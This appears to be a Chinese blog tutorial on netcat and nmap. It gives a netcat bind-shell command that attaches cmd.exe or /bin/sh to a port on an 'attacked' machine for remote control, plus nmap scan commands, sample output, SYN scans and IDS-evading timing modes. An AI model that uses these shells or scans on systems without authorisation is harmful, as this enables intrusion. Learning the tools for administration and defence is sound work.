热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

netstat/Nmap/netcat等网络命令工具的使用方法

这三款工具是网络安全利器,做一个简单摘要,以备参考。netcat--网安瑞士军刀netcat可以用于监控/扫描网络端口,它应用最多的情况是后门程序。一般分两个步骤:步骤一:我们在被攻击的机器上用下列命令:nc?v?l?p端口号?eshell//其中端口号

这三款工具是网络安全利器,做一个简单摘要,以备参考。

netcat--网安瑞士军刀

netcat可以用于监控/扫描网络端口,它应用最多的情况是后门程序。

一般分两个步骤:

  步骤一: 我们在被攻击的机器上用下列命令:nc ?v ?l ?p 端口号 ?e shell // 其中端口号是我们欲将shell绑定到哪个端口,shell在不同的系统是不同,在Windows下是cmd.exe,在Linux下一般是/bin/sh。
  步骤二: 攻击者在自己的机器上使用命令 :nc 被攻击者IP 端口号来达到远程控制受害者(被攻击者)的机器。

    下面的例子是将windows下的cmd.exe绑定在80端口,

   然后在Linux机器上进行控制

可以看到,我们在Linux下完全得到了Windows下一样的cmd.exe,而且我们可以完全像在本地控制一样远程完全控制Windows。

 __________________________________________

nmap: 功能强大的端口扫描工具

 简单来讲,nmap有以下几种主要用法


全面扫描:nmap-T4 -A targetip
主机发现:nmap-T4 -sn targetip
端口扫描:nmap-T4 targetip
服务扫描:nmap-T4 -sV targetip
操作系统扫描:nmap-T4 -O targetip

下面给出几个例子,如默认扫描一台主机的开放端口


C:\Users\aa>nmap 101.41.11.45
Starting Nmap 5.51 ( http://nmap.org ) at 2012-03-23 14:13 中国标准时间
Nmap scan report for 101.41.11.45
Host is up (.00061s latency).
Not shown:  closed ports
PORT     STATE SERVICE
/tcp  open  netbios-ssn
/tcp  open  https
/tcp  open  apex-mesh
/tcp open  mysql
/tcp open  ms-term-serv
MAC Address: ::D1:8A:: (Micro-star International CO.)
Nmap done:  IP address ( host up) scanned in 1.49 seconds
端口有如下四种状态:

  Open port(防火墙允许少数端口打开)
  Closed Port(由于防火墙的缘故,大部分的端口被关闭)
  Filtered(Nmap不确定端口是否打开或者关闭)
  Unfiltered(Nmap能够访问这个端口,但是不清楚这个端口打开的状态)

如果用-A选项,会有更加详细的信息,所有开放端口、对应的服务、操作系统信息会一览无余。。。


C:\Users\aa>nmap -A 101.41.11.45
Starting Nmap 5.51 ( http://nmap.org ) at 2012-03-23 14:16 中国标准时间
Nmap scan report for 101.41.11.45
Host is up (.00011s latency).
Not shown:  closed ports
PORT     STATE SERVICE       VERSION
/tcp  open  netbios-ssn
/tcp  open  ssl/http      Apache httpd
|_http-title: VisualSVN Server
|_http-favicon:
/tcp  open  vmware-auth   VMware Authentication Daemon 1.0 (Uses VNC, SOAP)
/tcp open  mysql         MySQL 5.5.
| mysql-info: Protocol: 
| Version: 5.5.
| Thread ID: 
| Some Capabilities: Long Passwords, Connect with DB, Compress, ODBC, Transactio
ns, Secure Connection
| Status: Autocommit
|_Salt: w{'M-:xq
/tcp open  ms-term-serv?
MAC Address: ::D1:8A:: (Micro-star International CO.)
Device type: general purpose
Running: Microsoft Windows XP
OS details: Microsoft Windows XP
Network Distance:  hop
Host script results:
|_nbstat: NetBIOS name: XXXXXXX, NetBIOS user: , NetBIOS MAC: 
::d3:8a:: (Micro-star International CO.)
|_smbv2-enabled: Server doesn't support SMBv2 protocol
| smb-os-discovery:
|   OS: Windows XP (Windows  LAN Manager)
|   Name: WORKGROUP\XXXXXXX
|_  System time: -- :: UTC+
TRACEROUTE
HOP RTT     ADDRESS
   0.10 ms 101.41.11.45
OS and Service detection performed. Please report any incorrect results at http:
//nmap.org/submit/ .
Nmap done:  IP address ( host up) scanned in 111.66 seconds

扫描特定网段上的活动主机,这是nmap最强的地功能,提供了多种扫描方式


nmap -v -sn 192.168.1.1/ 
nmap 192.168.1.2 192.168.1.5 #扫描多个目标
nmap 192.168.1.1-100 #(扫描IP地址为192.168.1.1-192.168.1.100内 的所有主机)
nmap -iL target.txt #扫描这个target.txt内的所有主机
nmap 192.168.1.1/24 -exclude 192.168.1.1 #扫描除过某一个ip外的所有子网主机
nmap 192.168.1.1/24 -exclude file xxx.txt # xxx.txt中的文件将会从扫描的主机中排除
nmap -p80,21,23 192.168.1.1 # 扫描特定主机上的80,21,23端口
nmap -p 1-1000 192.168.0.1 #只扫描1~1000端口,可以节省时间
nmap -v -sn 192.168.0.0/16 10.0.0.0/8 # 不进行端口扫描



root@bt:~# nmap -v -sn 192.168.0.100/ | grep -v down | grep 
Nmap scan report for bogon (192.168.0.1)
Nmap scan report for bogon (192.168.0.100)
Nmap scan report for bogon (192.168.0.102)
Nmap scan report for bogon (192.168.0.103)

 

-sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans, 参数较多,看实际需要进行选择即可。

-sS被称为半开放扫描,因为这种技术使得Nmap不需要通过完整的握手,就能获得远程主机的信息。Nmap发送SYN包到远程主 机,但是它不会产生任何会话.因此不会在目标主机上产生任何日志记录,因为没有形成会话。


nmap -v -sS 192.168.1.1/

如果不选择SYN扫描,TCP connect()扫描就是默认的扫描模式.不同于Tcp SYN扫描,Tcp connect()扫描需要完成三次握手,并且要求调用系统的connect().Tcp connect()扫描技术只适用于找出TCP和UDP端口.

Udp scan(sU)
顾名思义,这种扫描技术用来寻找目标主机打开的UDP端口.它不需要发送任何的SYN包,因为这种技术是针对UDP端口的。UDP扫描发送UDP数 据包到目标主机,并等待响应,如果返回ICMP不可达的错误消息,说明端口是关闭的,如果得到正确的适当的回应,说明端口是开放的.

FIN scan (sF)
有时候Tcp SYN扫描不是最佳的扫描模式,因为有防火墙的存在.目标主机有时候可能有IDS和IPS系统的存在,防火墙会阻止掉SYN数据包。发送一个设置了FIN标志的数据包并不需要完成TCP的握手

PING Scan (sP)

PING扫描不同于其它的扫描方式,因为它只用于找出主机是否是存在在网络中的.它不是用来发现是否开放端口的.PING扫描需要ROOT权限,如果用户没有ROOT权限,PING扫描将会使用connect()调用.

nmap 其它常用参数


 -iR : 随机产生特定数量的ip
 -n:不进行域名解决,大批量扫描时可以省下不少时间
 -F: 快速扫描模式,只扫描常用的100个端口
 -sV:取得对应端口上程序的详细版本信息
 -O: 进行操作系统判别
-T:设置nmap的适时策略  Paranoid(最慢):为了避开IDS的检测使扫描速度极慢,nmap串行所有的扫描,每隔至少5分钟发送一个包;Sneaky:也差不多,只是数据包的发送间隔是15秒;Polite:不增加太大的网络负载,避免宕掉目标主机,串行每个探测,并且使每个探测有0.4秒种的间隔;Normal:nmap默认的选项,在不是网络过载或者主机/端口丢失的情况下尽可能快速地扫描;Aggressive:设置5分钟的超时限制,使对每台主机的扫描时间不超过5分钟,并且使对每次探测回应的等待时间不超过1.5秒钟;Insane(最疯狂,最快):只适合快速的网络或者你不在意丢失某些信息,每台主机的超时限制是75秒,对每次探测只等待0.3秒钟。一般使用数字来代替这些模式,例如:-T 0等于-T Paranoid,-T 5等于-T Insane。

推荐阅读
  • JSOI2010 蔬菜庆典:树结构中的无限大权值问题
    本文探讨了 JSOI2010 的蔬菜庆典问题,主要关注如何处理非根非叶子节点的无限大权值情况。通过分析根节点及其子树的特性,提出了有效的解决方案,并详细解释了算法的实现过程。 ... [详细]
  • 本文详细介绍如何使用CSS自定义HTML5视频播放器的样式,涵盖常见属性及跨浏览器兼容性问题。发布时间:2020-09-14 14:46:29;来源:亿速云;阅读量:58;作者:小新。 ... [详细]
  • Coursera ML 机器学习
    2019独角兽企业重金招聘Python工程师标准线性回归算法计算过程CostFunction梯度下降算法多变量回归![选择特征](https:static.oschina.n ... [详细]
  • 本题来自WC2014,题目编号为BZOJ3435、洛谷P3920和UOJ55。该问题描述了一棵不断生长的带权树及其节点上小精灵之间的友谊关系,要求实时计算每次新增节点后树上所有可能的朋友对数。 ... [详细]
  • 全面解析运维监控:白盒与黑盒监控及四大黄金指标
    本文深入探讨了白盒和黑盒监控的概念,以及它们在系统监控中的应用。通过详细分析基础监控和业务监控的不同采集方法,结合四个黄金指标的解读,帮助读者更好地理解和实施有效的监控策略。 ... [详细]
  • 嵌入式开发环境搭建与文件传输指南
    本文详细介绍了如何为嵌入式应用开发搭建必要的软硬件环境,并提供了通过串口和网线两种方式将文件传输到开发板的具体步骤。适合Linux开发初学者参考。 ... [详细]
  • 解决TensorFlow CPU版本安装中的依赖问题
    本文记录了在安装CPU版本的TensorFlow过程中遇到的依赖问题及解决方案,特别是numpy版本不匹配和动态链接库(DLL)错误。通过详细的步骤说明和专业建议,帮助读者顺利安装并使用TensorFlow。 ... [详细]
  • 简化报表生成:EasyReport工具的全面解析
    本文详细介绍了EasyReport,一个易于使用的开源Web报表工具。该工具支持Hadoop、HBase及多种关系型数据库,能够将SQL查询结果转换为HTML表格,并提供Excel导出、图表显示和表头冻结等功能。 ... [详细]
  • 本文探讨了为何相同的HTTP请求在两台不同操作系统(Windows与Ubuntu)的机器上会分别返回200 OK和429 Too Many Requests的状态码。我们将分析代码、环境差异及可能的影响因素。 ... [详细]
  • 本文详细介绍了在 Windows 7 系统中配置 Nginx 1.10.3 和 PHP 7.1.1 NTS 的步骤,包括修改 PHP 配置文件、处理依赖项以及创建批处理脚本启动和停止服务。重点解释了如何解决常见的运行时错误。 ... [详细]
  • 通常情况下,修改my.cnf配置文件后需要重启MySQL服务才能使新参数生效。然而,通过特定命令可以在不重启服务的情况下实现配置的即时更新。本文将详细介绍如何在线调整MySQL配置,并验证其有效性。 ... [详细]
  • 基于Node.js、Express、MongoDB和Socket.io的实时聊天应用开发
    本文详细介绍了使用Node.js、Express、MongoDB和Socket.io构建的实时聊天应用程序。涵盖项目结构、技术栈选择及关键依赖项的配置。 ... [详细]
  • ThinkPHP 数据库配置详解
    本文详细介绍了如何在 ThinkPHP 框架中正确配置数据库连接参数,包括数据库类型、服务器地址、数据库名称等关键配置项。 ... [详细]
  • 版本控制工具——Git常用操作(下)
    本文由云+社区发表作者:工程师小熊摘要:上一集我们一起入门学习了git的基本概念和git常用的操作,包括提交和同步代码、使用分支、出现代码冲突的解决办法、紧急保存现场和恢复 ... [详细]
  • 深入解析MySQL中的七种JOIN查询
    本文详细介绍了MySQL中常用的七种JOIN查询方法,包括内连接、左外连接、右外连接、全外连接以及排除连接等,并通过实例进行说明。 ... [详细]
author-avatar
拍友2502883387
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有